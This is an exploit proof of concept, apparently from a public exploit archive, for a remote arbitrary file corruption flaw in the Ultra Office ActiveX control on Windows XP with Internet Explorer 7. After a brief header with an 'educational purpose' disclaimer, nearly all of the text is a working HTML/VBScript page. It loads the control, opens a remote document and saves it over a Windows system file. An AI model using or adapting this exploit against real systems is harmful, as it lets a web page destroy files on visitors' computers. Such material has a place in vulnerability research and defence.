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Ultra Office ActiveX Control Remote Arbitrary File Corruption

url: http://www.ultrashareware.com

Author: shinnai

mail: shinnai[at]autistici[dot]org

site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

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<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>

Sub tryMe

dim remURL

remURL = "http://SomeSite.com/SomeFile.doc"

test.Open remURL, True

test.Save "C:WINDOWS_system.ini", True

End Sub

</script>